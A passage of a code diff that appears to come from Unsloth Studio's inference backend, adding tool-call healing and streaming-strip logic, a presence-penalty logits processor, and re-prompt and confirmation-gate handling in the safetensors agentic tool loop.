run_end = spans[0][1] + for order, (call, (start, end)) in enumerate(zip(parsed, spans)): + # Stop at the first gap or incomplete trailing block: leave it for the + # next pass to re-hold and stream incrementally, not flush as text early. + if order and start != run_end: + break + promoted = _promote( + [call], + self._allowed, + id_offset = self._id_offset, + tool_schemas = self._tool_schemas, + ) + if promoted: + # Flush any leading text, then drop the promoted markup span. + if self._buffer[pos:start]: + events.append(("text", self._buffer[pos:start])) + events.append(("tool_call", promoted[0])) + self._id_offset += 1 + else: + # Undeclared/unusable name: markup is DATA, flush it (and prior text) verbatim. + events.append(("text", self._buffer[pos:end])) + pos = end + run_end = end + # Everything past the drained run (later blocks) stays and is rescanned. + self._buffer = self._buffer[run_end:] + self._holding = False + + def finalize(self) -> list: + """End of stream: last-chance heal of the residue, else flush it. + + Events keep document order; only the promoted calls' markup spans are + dropped, every other residue byte flushes as text. + """ + if not self._buffer: + return [] + residue, self._buffer = self._buffer, "" + holding, self._holding = self._holding, False + if self.dormant or not holding: + return [("text", residue)] + parsed, spans = parse_tool_calls_from_text( + residue, + id_offset = self._id_offset, + allow_incomplete = True, + with_spans = True, + ) + events: list = [] + pos = 0 + any_promoted = False + for call, (start, end) in zip(parsed, spans): + promoted = _promote( + [call], + self._allowed, + id_offset = self._id_offset, + tool_schemas = self._tool_schemas, + ) + if promoted: + if residue[pos:start]: + events.append(("text", residue[pos:start])) + events.append(("tool_call", promoted[0])) + self._id_offset += 1 + any_promoted = True + else: + events.append(("text", residue[pos:end])) + pos = end + if not any_promoted: + return [("text", residue)] + tail = residue[pos:].strip() + if tail: + events.append(("text", tail)) + return events + + +def _first_choice_message(data: Any) -> Optional[dict]: + """First-choice message dict of a non-streaming chat response, else None. + + Upstream error bodies can carry ``"message": null`` (or no choices at all), + so never assume the shape: a non-dict message means "nothing to heal". + """ + try: + message = data["choices"][0]["message"] + except (KeyError, IndexError, TypeError): + return None + return message if isinstance(message, dict) else None + + +def _last_assistant_text(data: Any) -> str: + """First-choice assistant content of a non-streaming chat response, or ''.""" + message = _first_choice_message(data) + content = message.get("content") if message else None + return content if isinstance(content, str) else "" + + +def _heal_would_promote( + text: str, + allowed_tools: set, + tools: Optional[list] = None, +) -> bool: + """Whether ``heal_openai_message`` would promote at least one call.""" + parsed = parse_tool_calls_from_text(text, allow_incomplete = True) + tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None + return bool(_promote(parsed, allowed_tools, tool_schemas = tool_schemas)) + + +def response_has_promotable_calls( + data: Any, + allowed_tools: set, + tools: Optional[list] = None, +) -> bool: + """True when a non-streaming chat response carries a usable tool call + (structured naming a DECLARED tool, or text-form that healing would + promote). Used to decide whether a nudge retry actually improved on the + original response; a hallucinated undeclared call is not an improvement.""" + message = _first_choice_message(data) + if not message: + return False + tool_calls = message.get("tool_calls") + if tool_calls: + # ALL structured calls must be declared: the caller forwards the whole + # list (and a parallel cap could keep only the FIRST one), so a mixed + # response with a single hallucinated name could still hand the client + # an undeclared tool. + return all( + isinstance(tc, dict) + and isinstance(tc.get("function"), dict) + and tc["function"].get("name") in allowed_tools + for tc in tool_calls + ) + text = message.get("content") + if not isinstance(text, str): + return False + return _heal_would_promote(text, allowed_tools, tools) + + +def nudge_should_retry( + data: Any, + allowed_tools: Optional[set], + tools: Optional[list] = None, +) -> bool: + """True when the first response tried to call a tool but nothing healed. + + Trigger only on: healing enabled (allowed_tools set), zero structured + calls, a tool signal present in the text, and zero promotable calls -- the + exact failure a single re-ask can fix. Clean prose never retries. + """ + if not allowed_tools: + return False + message = _first_choice_message(data) + if not message or message.get("tool_calls"): + return False + text = message.get("content") + if not isinstance(text, str) or not _has_heal_signal(text): + return False + return not _heal_would_promote(text, allowed_tools, tools) + + +def nudge_messages(data: Any, allowed_tools: set) -> list: + """The two-message suffix appended for the single nudge retry. + + The retry body is the original body plus this suffix, so the prompt prefix + is byte-identical and llama-server's slot/prefix cache is reused (same + shape as the enable-tools loop's reprompt). + """ + tool_hint = " or ".join(f"`{name}`" for name in sorted(allowed_tools)) or "an available tool" + return [ + {"role": "assistant", "content": _last_assistant_text(data)}, + { + "role": "user", + "content": ( + "You have access to the declared tools. If a tool is needed to " + f"complete the action you described, call {tool_hint} now using the " + "native tool-call format with valid JSON arguments, not prose. If no " + "tool is needed, provide the final answer directly." + ), + }, + ] diff --git a/studio/backend/core/inference/presence_penalty.py b/studio/backend/core/inference/presence_penalty.py new file mode 100644 index 0000000000..c73c513887 --- /dev/null +++ b/studio/backend/core/inference/presence_penalty.py @@ -0,0 +1,49 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Presence-penalty logits helpers for the safetensors/MLX inference paths. + +Kept in a dependency-light leaf module (torch + transformers only, no unsloth / +peft) so the pure logic can be imported and unit-tested without pulling in the +full inference backend. ``core.inference.inference`` re-exports these for the +runtime generate paths. +""" + +import torch + + +def apply_presence_penalty(input_ids, scores, penalty: float, prompt_len: int): + """OpenAI/llama.cpp presence penalty: subtract ``penalty`` once per distinct + completion token (positions >= prompt_len; prompt excluded, multiplicity + ignored, negatives raise). In place; zero is a no-op.""" + if not penalty: + return scores + vocab_size = scores.shape[-1] + for b in range(input_ids.shape[0]): + generated = input_ids[b, prompt_len:] + if generated.numel() == 0: + continue + seen = torch.unique(generated) + # Bound generated ids to the valid range [0, vocab_size). Real completion + # tokens are always in range, so this is a zero-regression safety net that + # drops any stray out-of-range or negative id before indexing (mirrors the + # MLX path's bound). Filtering both ends avoids indexing scores with a + # negative id (which would silently wrap to the wrong row). + seen = seen[(seen >= 0) & (seen < vocab_size)] + if seen.numel(): + scores[b, seen] = scores[b, seen] - penalty + return scores + + +def _make_presence_penalty_processor(penalty: float, prompt_len: int): + """``LogitsProcessorList`` for ``apply_presence_penalty``; ``None`` at zero penalty (generate call stays byte-identical).""" + if not penalty: + return None + from transformers import LogitsProcessor, LogitsProcessorList + + class _PresencePenaltyLogitsProcessor(LogitsProcessor): + @torch.no_grad() + def __call__(self, input_ids, scores): + return apply_presence_penalty(input_ids, scores, penalty, prompt_len) + + return LogitsProcessorList([_PresencePenaltyLogitsProcessor()]) diff --git a/studio/backend/core/inference/safetensors_agentic.py b/studio/backend/core/inference/safetensors_agentic.py index 06b6cbe57f..81c25b777e 100644 --- a/studio/backend/core/inference/safetensors_agentic.py +++ b/studio/backend/core/inference/safetensors_agentic.py @@ -14,6 +14,7 @@ parses tool calls from the cumulative text and dispatches via ``core.inference.tools``. """ +import bisect import re import threading from typing import Callable, Generator, Optional @@ -21,14 +22,38 @@ from typing import Callable, Generator, Optional from loggers import get_logger from core.inference.tool_call_parser import ( - _TOOL_ALL_PATS, + _GEMMA_BARE_TC_PREFIX_RE, + _GEMMA_BARE_TC_RE, + _TOOL_ALL_PATS as _PARSER_TOOL_ALL_PATS, + _TOOL_CLOSED_PATS as _PARSER_TOOL_CLOSED_PATS, + _balanced_brace_end, + _strip_function_xml_calls, + _strip_gemma_wrapperless_calls, + _strip_glm_calls, + _strip_mistral_closed_calls, + _strip_mistral_reasoning, BUDGET_EXHAUSTED_NUDGE, + MAX_ACT_REPROMPTS, RAG_MAX_SEARCHES_PER_TURN, RAG_SEARCH_CAP_NUDGE, TOOL_XML_SIGNALS, + is_short_intent_without_action, parse_tool_calls_from_text, + reprompt_to_act_message, + strip_leading_bare_json_call, + strip_llama3_leading_sentinels, strip_tool_markup, ) + +# The healer owns the bracket-tag + rehearsal strip helpers and their name-gated +# pattern lists, so the safetensors streaming strip stays aligned with the parser. +from core.tool_healing import ( + _REHEARSAL_TAIL_STRIP_RE, + _strip_bracket_tag_calls, + _think_spans_outside_tool_markup, + apply_tool_strip_patterns, + strip_outside_think, +) from core.inference.tool_loop_controller import ( ToolLoopController, coerce_tool_arguments, @@ -50,19 +75,213 @@ logger = get_logger(__name__) # Buffer cap while disambiguating a possible tool-call prefix. _MAX_BUFFER_CHARS = 32 +# Memory bound for holding a leading bare-JSON object whose top-level "{" never balances. +_MAX_BARE_JSON_BUFFER = 16384 + + +# No grammar constraint here (unlike llama-server's lazy grammar): collapse +# exact-duplicate calls and cap the count so a runaway turn cannot fan out. +_MAX_TOOL_CALLS_PER_TURN = 8 + + +def _active_tool_names(active_tools: list[dict]) -> list[str]: + names = [ + (tool.get("function") or {}).get("name") + for tool in active_tools + if isinstance(tool, dict) and isinstance(tool.get("function"), dict) + ] + return [name for name in names if name] + + +def _active_tool_names(active_tools: list[dict]) -> list[str]: + names = [ + (tool.get("function") or {}).get("name") + for tool in active_tools + if isinstance(tool, dict) and isinstance(tool.get("function"), dict) + ] + return [name for name in names if name] + + +# Unrestricted mode has no tool list, so any identifier may open a NAME[ARGS] rehearsal; +# ``[`` and each ARGS letter stay optional so a chunk split after ``NAME[`` is still held. +_UNRESTRICTED_REHEARSAL_RE = re.compile(r"[\w-]+(?:\[(?:A(?:R(?:G(?:S)?)?)?)?)?") + + +def _is_rehearsal_prefix( + stripped: str, + active_tools: list[dict], + *, + unrestricted: bool = False, +) -> bool: + """True if ``stripped`` is a (possibly partial) prefix of a ``NAME[ARGS]`` + rehearsal split across chunks (``web_search`` then ``[ARGS]{...}``). A space + means prose. Unrestricted mode accepts any identifier; else NAME must be active.""" + if not stripped or any(ch.isspace() for ch in stripped): + return False + if unrestricted: + return _UNRESTRICTED_REHEARSAL_RE.fullmatch(stripped) is not None + for name in _active_tool_names(active_tools): + if stripped == name or f"{name}[ARGS]".startswith(stripped): + return True + return False + + +def _held_rehearsal_tail_len( + text: str, + active_tools: list[dict], + *, + unrestricted: bool = False, +) -> int: + """Length of a trailing bare tool-name token that may be a split rehearsal call + (``...web_search`` with ``[ARGS]{...}`` still to arrive), so STREAMING can hold it + instead of leaking the name. Returns 0 for ordinary prose.""" + i = len(text) + while i > 0 and not text[i - 1].isspace(): + i -= 1 + tail = text[i:] + return ( + len(tail) + if tail and _is_rehearsal_prefix(tail, active_tools, unrestricted = unrestricted) + else 0 + ) + + +def _rehearsal_name_start( + candidate: str, + signal_pos: int, + active_tools: list[dict], + *, + unrestricted: bool = False, +) -> int: + """For an ``[ARGS]`` signal at ``signal_pos``, return the start of the preceding + bare tool-name token (``NAME[ARGS]``), else ``signal_pos`` unchanged when the + signal is not ``[ARGS]`` or NAME is not an active tool (restricted mode).""" + if not candidate.startswith("[ARGS]", signal_pos): + return signal_pos + j = signal_pos + while j > 0 and (candidate[j - 1].isalnum() or candidate[j - 1] in "_-"): + j -= 1 + if j < signal_pos and ( + unrestricted or candidate[j:signal_pos] in _active_tool_names(active_tools) + ): + return j + return signal_pos + + +def _earliest_tool_signal( + candidate: str, + signals, + active_tools: list[dict], + *, + unrestricted: bool = False, +) -> int: + """Index where the turn's first genuine tool-call boundary begins, or -1. + + Non-``[ARGS]`` markup wins on first occurrence. An ``[ARGS]`` hit is a rehearsal + only when an active tool name (any name in unrestricted mode) precedes it, so a + literal ``foo[ARGS]`` in prose is skipped rather than draining the turn; for a + real ``NAME[ARGS]`` the boundary is pulled back to NAME.""" + best = -1 + for sig in signals: + if sig != "[ARGS]": + p = candidate.find(sig) + if p >= 0 and (best < 0 or p < best): + best = p + continue + from_idx = 0 + while True: + p = candidate.find("[ARGS]", from_idx) + if p < 0: + break + name_start = _rehearsal_name_start( + candidate, p, active_tools, unrestricted = unrestricted + ) + if name_start < p: + # Genuine ``NAME[ARGS]``: the boundary is the start of NAME. + if best < 0 or name_start < best: + best = name_start + break + # Bare/prose [ARGS]: skip it so a later real call in the same chunk is still found. + from_idx = p + len("[ARGS]") + return best + + +def _has_genuine_tool_signal( + candidate: str, + signals, + active_tools: list[dict], + *, + unrestricted: bool = False, +) -> bool: + """True when ``candidate`` holds a genuine tool-call boundary for one of ``signals``. + + Non-``[ARGS]`` markers count on a substring hit; an ``[ARGS]`` hit is genuine only + when an active tool name (any in unrestricted mode) precedes it. Mirrors the + ``_earliest_tool_signal`` name-gating so BUFFERING / end-of-stream checks do not + drain inactive-name prose.""" + for sig in signals: + if sig == "[ARGS]": + if ( + _earliest_tool_signal( + candidate, ("[ARGS]",), active_tools, unrestricted = unrestricted + ) + >= 0 + ): + return True + continue + if sig in candidate: + return True + return False + def strip_tool_markup_streaming( text: str, *, auto_heal_tool_calls: bool = True, tool_protocol_active: bool = False, + enabled_tool_names: Optional[set] = None, ) -> str: - """Strip open-ended tool XML from display text without trimming whitespace.""" + """Strip open-ended tool XML from display text without trimming whitespace. + + Mirrors the parser-side ``strip_tool_markup`` segment scan (minus the final trim) so + streaming and final display agree: balanced strips first (nested JSON removed whole), + then the guarded function-XML / GLM scans that close at each call's REAL terminator so + literal markup inside argument values is data and trailing prose survives. Reasoning + ```` / ``[THINK]`` blocks are preserved verbatim (a rehearsed call inside one must + not be deleted, else the cumulative text shrinks then regrows). ``enabled_tool_names`` + keeps an inactive-name ``foo[ARGS]{..}`` / ``call:NAME{..}`` example visible (it is prose, + not a call), matching the parse / detection active-tool gate.""" if not (auto_heal_tool_calls or tool_protocol_active): return text - for pat in _TOOL_ALL_PATS: - text = pat.sub("", text) - return text + + # Drop a leading Magistral ``[THINK]...[/THINK]`` block (bracket reasoning form, not the + # ```` channel) so raw reasoning does not leak into streamed display; an unclosed + # leading block is held (dropped to EOF) until its closer streams in. + text = _strip_mistral_reasoning(text) + + def _seg(segment: str, is_last: bool) -> str: + # Same scan order as the parser's _strip_segment (seg_final -> is_last): balanced + # strips first, then the guarded function-XML / GLM scans, then the regex arms + # (DeepSeek / Kimi / closed forms). EOS-anchored tail arms run only on the last + # segment (a bare ``foo[ARGS]`` before is prose). Rehearsal strips are name-gated. + seg = _strip_mistral_closed_calls(segment) + seg = _strip_bracket_tag_calls(seg, enabled_tool_names = enabled_tool_names) + if is_last: + seg = _strip_gemma_wrapperless_calls(seg, enabled_tool_names) + seg = _strip_function_xml_calls(seg, final = is_last) + seg = _strip_glm_calls(seg, final = is_last) + pats = _PARSER_TOOL_ALL_PATS if is_last else _PARSER_TOOL_CLOSED_PATS + for pat in pats: + seg = pat.sub("", seg) + if is_last: + seg = apply_tool_strip_patterns( + seg, [_REHEARSAL_TAIL_STRIP_RE], enabled_tool_names = enabled_tool_names + ) + return seg + + # Preserve think blocks verbatim: stripping a rehearsed call inside one shrinks then + # regrows the cumulative text, corrupting append-by-length consumers. + return strip_outside_think(text, _seg) def _strip_tool_markup_final( @@ -70,10 +289,11 @@ def _strip_tool_markup_final( *, auto_heal_tool_calls: bool, tool_protocol_active: bool = False, + enabled_tool_names: Optional[set] = None, ) -> str: if not (auto_heal_tool_calls or tool_protocol_active): return text - return strip_tool_markup(text, final = True) + return strip_tool_markup(text, final = True, enabled_tool_names = enabled_tool_names) def _status_for_tool(tool_name: str, arguments: dict) -> str: @@ -81,25 +301,76 @@ def _status_for_tool(tool_name: str, arguments: dict) -> str: return status_for_tool(tool_name, arguments) +def _looks_like_enabled_bare_json(text: str, enabled_tool_names: Optional[set]) -> bool: + """True when ``text`` opens with an ENABLED markerless bare-JSON call; an ordinary JSON answer returns False.""" + probe = strip_llama3_leading_sentinels(text.lstrip()) + if not (probe.startswith("{") and ('"name"' in probe or '"function"' in probe)): + return False + return strip_leading_bare_json_call(probe, enabled_tool_names) != probe + + _FUNCTION_SIGNAL_RE = re.compile(r"") _TOOL_CALL_NAME_RE = re.compile(r'"name"\s*:\s*"([\w-]+)"') +# Mistral name/v11 and rehearsal forms, aligned with the parser so the provisional +# render-html card fires for bracket-tag serializations too. +_MISTRAL_RENDER_NAME_RE = re.compile( + r"\[TOOL_CALLS\]\s*([\w-]+)(?:\[CALL_ID\][\w-]+)?(?:\[ARGS\])?\s*(?=\{)" +) +_REHEARSAL_RENDER_NAME_RE = re.compile(r"(? bool: - """Return True when the first drained tool call is clearly render_html.""" - function_match = _FUNCTION_SIGNAL_RE.search(content) - tool_call_index = content.find("") - if not function_match and tool_call_index < 0: + """Return True when the FIRST tool call in ``content`` is clearly render_html. + + Covers every serialization the loop executes (XML ```` / ````, + Mistral ``[TOOL_CALLS]``, rehearsal ``NAME[ARGS]``); the earliest marker wins so a + render_html marker inside another call's argument is treated as data. Markers inside + a ```` / ``[THINK]`` block are dropped since the parser skips them.""" + think_spans = _think_spans_outside_tool_markup(content) + _think_starts = [s for s, _e in think_spans] + + def _in_think(pos: int) -> bool: + if not think_spans: + return False + i = bisect.bisect_right(_think_starts, pos) - 1 + return i >= 0 and think_spans[i][0] <= pos < think_spans[i][1] + + def _first_outside(start: int, finder) -> int: + # First occurrence at/after ``start`` that is not inside a think span. + pos = finder(start) + while pos >= 0 and _in_think(pos): + pos = finder(pos + 1) + return pos + + candidates: list[tuple[int, str]] = [] + for fm in _FUNCTION_SIGNAL_RE.finditer(content): + if not _in_think(fm.start()): + candidates.append((fm.start(), fm.group(1))) + break + tc = _first_outside(0, lambda i: content.find("", i)) + if tc >= 0: + nm = _TOOL_CALL_NAME_RE.search(content[tc:]) + candidates.append((tc, nm.group(1) if nm else "")) + mt = _first_outside(0, lambda i: content.find("[TOOL_CALLS]", i)) + if mt >= 0: + mm = _MISTRAL_RENDER_NAME_RE.match(content, mt) + if mm: + candidates.append((mt, mm.group(1))) + else: + # Array shape: a bare ``"name"`` search can latch onto an argument key, so resolve the + # first call through the parser (it reads top-level names). + arr_calls = parse_tool_calls_from_text(content[mt:]) + if arr_calls: + candidates.append((mt, (arr_calls[0].get("function") or {}).get("name") or "")) + for rm in _REHEARSAL_RENDER_NAME_RE.finditer(content): + if not _in_think(rm.start(1)): + candidates.append((rm.start(1), rm.group(1))) + break + + if not candidates: return False - - if function_match and (tool_call_index < 0 or function_match.start() < tool_call_index): - return function_match.group(1) == "render_html" - - if tool_call_index >= 0: - name_match = _TOOL_CALL_NAME_RE.search(content[tool_call_index:]) - return bool(name_match and name_match.group(1) == "render_html") - - return False + _pos, name = min(candidates, key = lambda c: c[0]) + return name == "render_html" def _coerce_arguments_with_provenance( @@ -149,6 +420,7 @@ def run_safetensors_tool_loop( execute_tool: Callable[..., str], cancel_event: Optional[threading.Event] = None, auto_heal_tool_calls: bool = True, + nudge_tool_calls: Optional[bool] = None, max_tool_iterations: int = 25, tool_call_timeout: int = 300, session_id: Optional[str] = None, @@ -188,8 +460,17 @@ def run_safetensors_tool_loop( for _ev in _auto["events"]: yield _ev conversation.extend(_auto["messages"]) + # Autoinject ran a KB search outside the controller, so it counts as an + # executed tool for the plan-without-action gate. + rag_autoinjected = bool(_auto) unrestricted_tools = not tools + # Gate telling a genuine NAME[ARGS] rehearsal from inactive-name prose; built from the + # ORIGINAL tools list so a spent one-shot still reads as a tool name. None = unrestricted. + _enabled_names_gate = None if unrestricted_tools else set(_active_tool_names(tools)) + # Detection must see the same names as the strip gate (ORIGINAL list, incl. a spent + # one-shot), else its repeat is stripped but never drained and the turn ends blank. + _detect_tools = [] if unrestricted_tools else list(tools or []) tool_controller = ToolLoopController( tools = None if unrestricted_tools else tools, auto_heal_tool_calls = auto_heal_tool_calls, @@ -198,6 +479,14 @@ def run_safetensors_tool_loop( kb_search_count = 0 final_attempt_done = False next_call_id = 0 + reprompt_count = 0 + # A denied tool confirmation must not be answered with a plan-without-action + # re-prompt (which would raise the confirmation gate again). + tool_denied = False + # Real tool-call turns completed. Only turns that actually executed a tool count + # against ``max_tool_iterations``; a duplicate/disabled no-op correction turn (and a + # plan-without-action re-prompt) must not consume budget, matching the GGUF loop. + _executed_tool_iters = 0 def _tool_succeeded(tool_name: str) -> bool: key_prefix = f"{tool_name}:" @@ -215,9 +504,13 @@ def run_safetensors_tool_loop( _state_streaming = 1 _state_draining = 2 - for iteration in range(max_tool_iterations + 1): + # Reserve re-prompt slots so they don't eat the caller's tool budget. + _extra_iters = MAX_ACT_REPROMPTS if max_tool_iterations > 0 else 0 + for iteration in range(max_tool_iterations + _extra_iters + 1): if cancel_event is not None and cancel_event.is_set(): return + # Whether this turn ran a tool; a no-op-only turn stays False and doesn't consume budget. + _turn_executed_real_tool = False if final_attempt_done: active_tools: list[dict] = [] @@ -229,6 +522,8 @@ def run_safetensors_tool_loop( tool_protocol_active = not final_attempt_done and (unrestricted_tools or bool(active_tools)) tool_xml_signals = TOOL_XML_SIGNALS if tool_protocol_active else () + # Gate the markerless bare-JSON form on enabled names so an ordinary JSON answer isn't misread as a call. + _enabled_tool_names = None if unrestricted_tools else set(_active_tool_names(active_tools)) detect_state = _state_buffering content_buffer = "" @@ -236,12 +531,39 @@ def run_safetensors_tool_loop( cumulative_display = "" last_emitted = "" provisional_render_html_started = False + provisional_resolved = False provisional_render_html_id = f"call_{next_call_id}" + # When a human confirmation gate is active the real tool_start is keyed + # by an approval id and carries awaiting_confirmation, so an early + # provisional card (keyed by tool_call_id, no approval) would show the + # tool as "running" before the user has approved it. Suppress the early + # card in that case and let the gated tool_start be the first signal. + _provisional_confirm_gated = bool(confirm_tool_calls) and not bypass_permissions gen = _call_single_turn(single_turn, conversation, active_tools) prev_cumulative = "" - for cumulative in gen: + _gen_iter = iter(gen) + while True: + try: + cumulative = next(_gen_iter) + except StopIteration: + break + except Exception: + # The model pipeline raised mid-stream. If a provisional + # render_html card was already surfaced, close it as errored so + # the UI never leaves a tool card spinning after the turn fails. + if provisional_render_html_started and not provisional_resolved: + provisional_resolved = True + yield { + "type": "tool_end", + "tool_name": "render_html", + "tool_call_id": provisional_render_html_id, + "result": "Error: generation was interrupted before the tool call completed.", + "provenance": _tool_event_provenance(provisional = True), + } + raise + if cancel_event is not None and cancel_event.is_set(): return @@ -257,6 +579,7 @@ def run_safetensors_tool_loop( if detect_state == _state_draining: if ( not _tool_succeeded("render_html") + and not _provisional_confirm_gated and any( ((tool.get("function") or {}).get("name") == "render_html") for tool in active_tools @@ -276,17 +599,18 @@ def run_safetensors_tool_loop( if detect_state == _state_streaming: candidate = cumulative_display + delta - signal_pos = -1 - for sig in tool_xml_signals: - p = candidate.find(sig) - if p >= 0 and (signal_pos < 0 or p < signal_pos): - signal_pos = p + # Earliest genuine boundary: bare [ARGS] in prose is skipped; a real NAME[ARGS] is + # pulled back to NAME so the name is not flushed. + signal_pos = _earliest_tool_signal( + candidate, tool_xml_signals, _detect_tools, unrestricted = unrestricted_tools + ) if signal_pos >= 0: before_tool = candidate[:signal_pos] cleaned_before = strip_tool_markup_streaming( before_tool, auto_heal_tool_calls = auto_heal_tool_calls, tool_protocol_active = tool_protocol_active, + enabled_tool_names = _enabled_names_gate, ) if len(cleaned_before) > len(last_emitted): last_emitted = cleaned_before @@ -295,6 +619,7 @@ def run_safetensors_tool_loop( detect_state = _state_draining if ( not _tool_succeeded("render_html") + and not _provisional_confirm_gated and any( ((tool.get("function") or {}).get("name") == "render_html") for tool in active_tools @@ -316,10 +641,20 @@ def run_safetensors_tool_loop( cumulative_display, auto_heal_tool_calls = auto_heal_tool_calls, tool_protocol_active = tool_protocol_active, + enabled_tool_names = _enabled_names_gate, ) - if len(cleaned) > len(last_emitted): - last_emitted = cleaned - yield {"type": "content", "text": cleaned} + # Hold a trailing bare active-tool-name (split rehearsal) until its [ARGS] arrives; + # released by later prose or the end-of-stream flush. + if tool_protocol_active: + _hold = _held_rehearsal_tail_len( + cleaned, _detect_tools, unrestricted = unrestricted_tools + ) + emit = cleaned[: len(cleaned) - _hold] if _hold else cleaned + else: + emit = cleaned + if len(emit) > len(last_emitted): + last_emitted = emit + yield {"type": "content", "text": emit} continue # BUFFERING: hold until we know it is not a tool call. @@ -337,6 +672,92 @@ def run_safetensors_tool_loop( if sig.startswith(stripped): is_prefix = True break + # Bracket-tag forms arrive mid-buffer, so substring-check too (mirrors GGUF); [ARGS] + # counts only with an active NAME so prose is not drained into a no-op. + if sig == "[ARGS]": + if ( + _earliest_tool_signal( + stripped, + ("[ARGS]",), + _detect_tools, + unrestricted = unrestricted_tools, + ) + >= 0 + ): + is_match = True + break + elif sig.startswith("[") and sig in stripped: + is_match = True + break + + # Split rehearsal: hold the bare name until its [ARGS] arrives and matches above. + is_rehearsal_prefix = False + if ( + not is_match + and not is_prefix + and tool_protocol_active + and _is_rehearsal_prefix(stripped, _detect_tools, unrestricted = unrestricted_tools) + ): + is_prefix = True + is_rehearsal_prefix = True + + # Llama-3.2 ``custom_tools`` emits a bare ``{"name":..,"parameters":..}`` with no XML + # signal. Hold a leading ``{`` (after any sentinel) until it closes: drain if it parses + # as a call, else stream as content. Non-call text is always recovered downstream. + bare_probe = strip_llama3_leading_sentinels(stripped) + if ( + not is_match + and not is_prefix + and tool_protocol_active + and bare_probe.startswith("{") + ): + if _balanced_brace_end(bare_probe, 0) is None: + if len(stripped) < _MAX_BARE_JSON_BUFFER: + continue # object still open -- keep buffering + elif _looks_like_enabled_bare_json(bare_probe, _enabled_tool_names): + # Oversized still-open ENABLED-tool call: stop holding (memory bound) but + # DRAIN instead of leaking the raw prefix; a giant ordinary JSON answer still streams. + detect_state = _state_draining + continue + elif parse_tool_calls_from_text( + content_buffer, + id_offset = next_call_id, + allow_incomplete = auto_heal_tool_calls, + enabled_tool_names = _enabled_tool_names, + ): + # Closed object that parses as a bare-JSON call -- drain silently. + detect_state = _state_draining + continue + # Closed non-call object (or oversized non-call) -- stream as text. + + # Gemma wrapper-less ``call:NAME{...}`` has no tool_xml_signals entry: + # buffer it here or it streams raw until the end-of-turn safety net. + # ``(? len(last_emitted): last_emitted = cleaned @@ -353,6 +775,7 @@ def run_safetensors_tool_loop( detect_state = _state_draining if ( not _tool_succeeded("render_html") + and not _provisional_confirm_gated and any( ((tool.get("function") or {}).get("name") == "render_html") for tool in active_tools @@ -368,7 +791,8 @@ def run_safetensors_tool_loop( "arguments": {}, "provenance": _tool_event_provenance(provisional = True), } - elif is_prefix and len(stripped) < _MAX_BUFFER_CHARS: + elif is_prefix and (is_rehearsal_prefix or len(stripped) < _MAX_BUFFER_CHARS): + # A rehearsal prefix is self-bounded; the buffer cap must not cut long MCP names short. continue else: detect_state = _state_streaming @@ -377,57 +801,121 @@ def run_safetensors_tool_loop( cumulative_display, auto_heal_tool_calls = auto_heal_tool_calls, tool_protocol_active = tool_protocol_active, + enabled_tool_names = _enabled_names_gate, ) - if len(cleaned) > len(last_emitted): - last_emitted = cleaned - yield {"type": "content", "text": cleaned} + # Same trailing-name hold as STREAMING for this first flush out of BUFFERING. + if tool_protocol_active: + _hold = _held_rehearsal_tail_len( + cleaned, _detect_tools, unrestricted = unrestricted_tools + ) + emit = cleaned[: len(cleaned) - _hold] if _hold else cleaned + else: + emit = cleaned + if len(emit) > len(last_emitted): + last_emitted = emit + yield {"type": "content", "text": emit} # Stream finished -- resolve what we collected. if cancel_event is not None and cancel_event.is_set(): return if detect_state == _state_buffering: - # Buffer never resolved -- tool XML or plain content? + # Buffer never resolved: [ARGS] is name-gated so a prose answer with a literal + # ``foo[ARGS]{...}`` is not parsed. stripped = content_buffer.lstrip() + _bare_eos = strip_llama3_leading_sentinels(stripped) if ( stripped and tool_protocol_active - and any(sig in stripped for sig in tool_xml_signals) + and _has_genuine_tool_signal( + stripped, + tool_xml_signals, + _detect_tools, + unrestricted = unrestricted_tools, + ) ): detect_state = _state_draining + elif tool_protocol_active and _looks_like_enabled_bare_json( + _bare_eos, _enabled_tool_names + ): + # A held bare-JSON ENABLED-tool fragment has no XML signal; DRAIN it (an ordinary + # JSON answer falls through to the else and streams as content, GGUF parity). + detect_state = _state_draining else: + # Drain and fall through to STREAMING so the intent re-prompt + safety-net parser + # still fire on short emissions like "Let me search." that never exit BUFFERING. if content_buffer: cumulative_display += content_buffer - yield { - "type": "content", - "text": _strip_tool_markup_final( - cumulative_display, - auto_heal_tool_calls = auto_heal_tool_calls, - tool_protocol_active = False, - ), - } - yield {"type": "status", "text": ""} - return + cleaned = strip_tool_markup( + cumulative_display, final = True, enabled_tool_names = _enabled_tool_names + ) + if len(cleaned) > len(last_emitted): + last_emitted = cleaned + yield {"type": "content", "text": cleaned} + detect_state = _state_streaming if detect_state == _state_streaming: - # No tool detected mid-stream -- check for late tool XML. - safety_tc = None - saw_tool_signal = tool_protocol_active and any( - sig in content_accum for sig in tool_xml_signals + # Run the parser even with no XML signal (the Llama-3.2 bare-JSON form carries none); it's + # strict so plain answers stay untouched. Mirrors GGUF. + safety_tc = parse_tool_calls_from_text( + content_accum, + id_offset = next_call_id, + allow_incomplete = auto_heal_tool_calls, + enabled_tool_names = _enabled_tool_names, ) - if saw_tool_signal: - safety_tc = parse_tool_calls_from_text( - content_accum, - id_offset = next_call_id, - allow_incomplete = auto_heal_tool_calls, - ) if not safety_tc: - # Final answer: if a literal tool marker in prose was stripped - # during streaming but did not parse as a real call, restore the - # raw cumulative text for core callers. Route-level cleanup can - # still apply the Auto-Heal display policy. - if saw_tool_signal and content_accum: + # Re-prompt once on plan-without-action, before any tool runs + # (GGUF loop parity). The retry is gated on nudge_tool_calls so + # Studio callers (which send True) always nudge, while API callers + # who omit the flag keep today's no-reprompt behavior (opt-in). + stripped_answer = content_accum.strip() + if ( + auto_heal_tool_calls + and nudge_tool_calls + and active_tools + and reprompt_count < MAX_ACT_REPROMPTS + and not rag_autoinjected + and not tool_denied + and not any(record.executed for record in tool_controller.history) + and is_short_intent_without_action(stripped_answer) + ): + reprompt_count += 1 + logger.info( + "Safetensors re-prompt %d/%d: model responded without " + "calling tools (%d chars)", + reprompt_count, + MAX_ACT_REPROMPTS, + len(stripped_answer), + ) + conversation.append({"role": "assistant", "content": stripped_answer}) + tool_hint = " or ".join(_active_tool_names(active_tools)) or "an available tool" + conversation.append( + { + "role": "user", + "content": reprompt_to_act_message(tool_hint), + } + ) + # Empty status clears the badge and resets the route's + # per-turn text cursor before the re-prompted turn streams. + yield {"type": "status", "text": ""} + continue + + # Final answer. If a literal tool marker in prose was 